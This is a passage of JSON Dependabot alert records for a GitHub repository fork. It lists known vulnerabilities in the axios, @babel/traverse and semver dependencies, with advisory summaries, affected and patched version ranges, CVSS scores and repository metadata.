averSoftware/opensource-management-portal/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/deployments"}},{"number":6,"state":"open","dependency":{"package":{"ecosystem":"npm","name":"axios"},"manifest_path":"package-lock.json","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-wf5p-g6vw-rhxx","cve_id":"CVE-2023-45857","summary":"Axios Cross-Site Request Forgery Vulnerability","description":"An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.","severity":"medium","identifiers":[{"value":"GHSA-wf5p-g6vw-rhxx","type":"GHSA"},{"value":"CVE-2023-45857","type":"CVE"}],"references":[{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45857"},{"url":"https://github.com/axios/axios/issues/6006"},{"url":"https://github.com/axios/axios/issues/6022"},{"url":"https://github.com/axios/axios/pull/6028"},{"url":"https://github.com/axios/axios/commit/96ee232bd3ee4de2e657333d4d2191cd389e14d0"},{"url":"https://github.com/axios/axios/releases/tag/v1.6.0"},{"url":"https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459"},{"url":"https://github.com/advisories/GHSA-wf5p-g6vw-rhxx"}],"published_at":"2023-11-08T21:30:37Z","updated_at":"2023-11-16T19:59:09Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"axios"},"severity":"medium","vulnerable_version_range":">= 0.8.1, < 1.6.0","first_patched_version":{"identifier":"1.6.0"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","score":6.5},"cwes":[{"cwe_id":"CWE-352","name":"Cross-Site Request Forgery (CSRF)"}]},"security_vulnerability":{"package":{"ecosystem":"npm","name":"axios"},"severity":"medium","vulnerable_version_range":">= 0.8.1, < 1.6.0","first_patched_version":{"identifier":"1.6.0"}},"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/dependabot/alerts/6","html_url":"https://github.com/BeaverSoftware/opensource-management-portal/security/dependabot/6","created_at":"2024-01-21T01:29:52Z","updated_at":"2024-01-21T01:29:52Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null,"repository":{"id":682315953,"node_id":"R_kgDOKKtQsQ","name":"opensource-management-portal","full_name":"BeaverSoftware/opensource-management-portal","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/opensource-management-portal","description":"Microsoft's monolithic, opinionated Open Source Management Portal enabling enterprise scale self-service powered by the GitHub API 🏔🧑‍💻🧰","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal","forks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/deployments"}},{"number":5,"state":"open","dependency":{"package":{"ecosystem":"npm","name":"@babel/traverse"},"manifest_path":"package-lock.json","scope":"development"},"security_advisory":{"ghsa_id":"GHSA-67hx-6x53-jw92","cve_id":"CVE-2023-45133","summary":"Babel vulnerable to arbitrary code execution when compiling specifically crafted malicious code","description":"### Impact\n\nUsing Babel to compile code that was specifically crafted by an attacker can lead to arbitrary code execution during compilation, when using plugins that rely on the `path.evaluate()`or `path.evaluateTruthy()` internal Babel methods.\n\nKnown affected plugins are:\n- `@babel/plugin-transform-runtime`\n- `@babel/preset-env` when using its [`useBuiltIns`](https://babeljs.io/docs/babel-preset-env#usebuiltins) option\n- Any \"polyfill provider\" plugin that depends on `@babel/helper-define-polyfill-provider`, such as `babel-plugin-polyfill-corejs3`, `babel-plugin-polyfill-corejs2`, `babel-plugin-polyfill-es-shims`, `babel-plugin-polyfill-regenerator`\n\nNo other plugins under the `@babel/` namespace are impacted, but third-party plugins might be.\n\n**Users that only compile trusted code are not impacted.**\n\n### Patches\n\nThe vulnerability has been fixed in `@babel/traverse@7.23.2`.\n\nBabel 6 does not receive security fixes anymore (see [Babel's security policy](https://github.com/babel/babel/security/policy)), hence there is no patch planned for `babel-traverse@6`.\n\n### Workarounds\n\n- Upgrade `@babel/traverse` to v7.23.2 or higher. You can do this by deleting it from your package manager's lockfile and re-installing the dependencies. `@babel/core` >=7.23.2 will automatically pull in a non-vulnerable version.\n- If you cannot upgrade `@babel/traverse` and are using one of the affected packages mentioned above, upgrade them to their latest version to avoid triggering the vulnerable code path in affected `@babel/traverse` versions:\n - `@babel/plugin-transform-runtime` v7.23.2\n - `@babel/preset-env` v7.23.2\n - `@babel/helper-define-polyfill-provider` v0.4.3\n - `babel-plugin-polyfill-corejs2` v0.4.6\n - `babel-plugin-polyfill-corejs3` v0.8.5\n - `babel-plugin-polyfill-es-shims` v0.10.0\n - `babel-plugin-polyfill-regenerator` v0.5.3","severity":"critical","identifiers":[{"value":"GHSA-67hx-6x53-jw92","type":"GHSA"},{"value":"CVE-2023-45133","type":"CVE"}],"references":[{"url":"https://github.com/babel/babel/security/advisories/GHSA-67hx-6x53-jw92"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45133"},{"url":"https://github.com/babel/babel/pull/16033"},{"url":"https://github.com/babel/babel/commit/b13376b346946e3f62fc0848c1d2a23223314c82"},{"url":"https://github.com/babel/babel/releases/tag/v7.23.2"},{"url":"https://github.com/babel/babel/releases/tag/v8.0.0-alpha.4"},{"url":"https://www.debian.org/security/2023/dsa-5528"},{"url":"https://lists.debian.org/debian-lts-announce/2023/10/msg00026.html"},{"url":"https://babeljs.io/blog/2023/10/16/cve-2023-45133"},{"url":"https://github.com/advisories/GHSA-67hx-6x53-jw92"}],"published_at":"2023-10-16T13:55:36Z","updated_at":"2023-12-08T19:11:42Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"@babel/traverse"},"severity":"critical","vulnerable_version_range":"< 7.23.2","first_patched_version":{"identifier":"7.23.2"}},{"package":{"ecosystem":"npm","name":"@babel/traverse"},"severity":"critical","vulnerable_version_range":">= 8.0.0-alpha.0, < 8.0.0-alpha.4","first_patched_version":{"identifier":"8.0.0-alpha.4"}}],"cvss":{"vector_string":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":9.3},"cwes":[{"cwe_id":"CWE-184","name":"Incomplete List of Disallowed Inputs"},{"cwe_id":"CWE-697","name":"Incorrect Comparison"}]},"security_vulnerability":{"package":{"ecosystem":"npm","name":"@babel/traverse"},"severity":"critical","vulnerable_version_range":"< 7.23.2","first_patched_version":{"identifier":"7.23.2"}},"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/dependabot/alerts/5","html_url":"https://github.com/BeaverSoftware/opensource-management-portal/security/dependabot/5","created_at":"2024-01-21T01:29:52Z","updated_at":"2024-01-21T01:29:52Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null,"repository":{"id":682315953,"node_id":"R_kgDOKKtQsQ","name":"opensource-management-portal","full_name":"BeaverSoftware/opensource-management-portal","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/opensource-management-portal","description":"Microsoft's monolithic, opinionated Open Source Management Portal enabling enterprise scale self-service powered by the GitHub API 🏔🧑‍💻🧰","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal","forks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/deployments"}},{"number":4,"state":"open","dependency":{"package":{"ecosystem":"npm","name":"semver"},"manifest_path":"package-lock.json","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-c2qf-rxjj-qqgw","cve_id":"CVE-2022-25883","summary":"semver vulnerable to Regular Expression Denial of Service","description":"Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.","severity":"medium","identifiers":[{"value":"GHSA-c2qf-rxjj-qqgw","type":"GHSA"},{"value":"CVE-2022-25883","type":"CVE"}],"references":[{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-25883"},{"url":"https://github.com/npm/node-semver/pull/564"},{"url":"https://github.com/npm/node-semver/commit/717534ee353682f3bcf33e60a8af4292626d4441"},{"url":"https://security.snyk.io/vuln/SNYK-JS-SEMVER-3247795"},{"url":"https://github.com/npm/node-semver/blob/main/classes/range.js#L97-L104"},{"url":"https://github.com/npm/node-semver/blob/main/internal/re.js#L138"},{"url":"https://github.com/npm/node-semver/blob/main/internal/re.js#L160"},{"url":"https://github.com/npm/node-semver/pull/585"},{"url":"https://github.com/npm/node-semver/commit/928e56d21150da0413a3333a3148b20e741a920c"},{"url":"https://github.com/npm/node-semver/pull/593"},{"url":"https://github.com/npm/node-semver/commit/2f8fd41487acf380194579ecb6f8b1bbfe116be0"},{"url":"https://github.com/advisories/GHSA-c2qf-rxjj-qqgw"}],"published_at":"2023-06-21T06:30:28Z","updated_at":"2024-01-08T20:36:49Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":">= 7.0.0, < 7.5.2","first_patched_version":{"identifier":"7.5.2"}},{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":">= 6.0.0, < 6.3.1","first_patched_version":{"identifier":"6.3.1"}},{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":"< 5.7.2","first_patched_version":{"identifier":"5.7.2"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3},"cwes":[{"cwe_id":"CWE-1333","name":"Inefficient Regular Expression Complexity"}]},"security_vulnerability":{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":"< 5.7.2","first_patched_version":{"identifier":"5.7.2"}},"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/dependabot/alerts/4","html_url":"https://github.com/BeaverSoftware/opensource-management-portal/security/dependabot/4","created_at":"2024-01-21T01:29:52Z","updated_at":"2024-01-21T01:29:52Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null,"repository":{"id":682315953,"node_id":"R_kgDOKKtQsQ","name":"opensource-management-portal","full_name":"BeaverSoftware/opensource-management-portal","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/opensource-management-portal","description":"Microsoft's monolithic, opinionated Open Source Management Portal enabling enterprise scale self-service powered by the GitHub API 🏔🧑‍💻🧰","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal","forks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/deployments"}},{"number":3,"state":"auto_dismissed","dependency":{"package":{"ecosystem":"npm","name":"semver"},"manifest_path":"package-lock.json","scope":"development"},"security_advisory":{"ghsa_id":"GHSA-c2qf-rxjj-qqgw","cve_id":"CVE-2022-25883","summary":"semver vulnerable to Regular Expression Denial of Service","description":"Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.","severity":"medium","identifiers":[{"value":"GHSA-c2qf-rxjj-qqgw","type":"GHSA"},{"value":"CVE-2022-25883","type":"CVE"}],"references":[{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-25883"},{"url":"https://github.com/npm/node-semver/pull/564"},{"url":"https://github.com/npm/node-semver/commit/717534ee353682f3bcf33e60a8af4292626d4441"},{"url":"https://security.snyk.io/vuln/SNYK-JS-SEMVER-3247795"},{"url":"https://github.com/npm/node-semver/blob/main/classes/range.js#L97-L104"},{"url":"https://github.com/npm/node-semver/blob/main/internal/re.js#L138"},{"url":"https://github.com/npm/node-semver/blob/main/internal/re.js#L160"},{"url":"https://github.com/npm/node-semver/pull/585"},{"url":"https://github.com/npm/node-semver/commit/928e56d21150da0413a3333a3148b20e741a920c"},{"url":"https://github.com/npm/node-semver/pull/593"},{"url":"https://github.com/npm/node-semver/commit/2f8fd41487acf380194579ecb6f8b1bbfe116be0"},{"url":"https://github.com/advisories/GHSA-c2qf-rxjj-qqgw"}],"published_at":"2023-06-21T06:30:28Z","updated_at":"2024-01-08T20:36:49Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":">= 7.0.0, < 7.5.2","first_patched_version":{"identifier":"7.5.2"}},{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":">= 6.0.0, < 6.3.1","first_patched_version":{"identifier":"6.3.1"}},{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":"< 5.7.2","first_patched_version":{"identifier":"5.7.2"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3},"cwes":[{"cwe_id":"CWE-1333","name":"Inefficient Regular Expression Complexity"}]},"security_vulnerability":{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":">= 6.0.0, < 6.3.1","first_patched_version":{"identifier":"6.3.1"}},"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/dependabot/alerts/3","html_url":"https://github.com/BeaverSoftware/opensource-management-portal/security/dependabot/3","created_at":"2024-01-21T01:29:52Z","updated_at":"2024-01-21T01:29:52Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":"2024-01-21T01:29:52Z","repository":{"id":682315953,"node_id":"R_kgDOKKtQsQ","name":"opensource-management-portal","full_name":"BeaverSoftware/opensource-management-portal","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/opensource-management-portal","description":"Microsoft's monolithic, opinionated Open Source Management Portal enabling enterprise scale self-service powered by the GitHub API 🏔🧑‍💻🧰","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal","forks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/comments{/number}","contents_url":"https://api.github.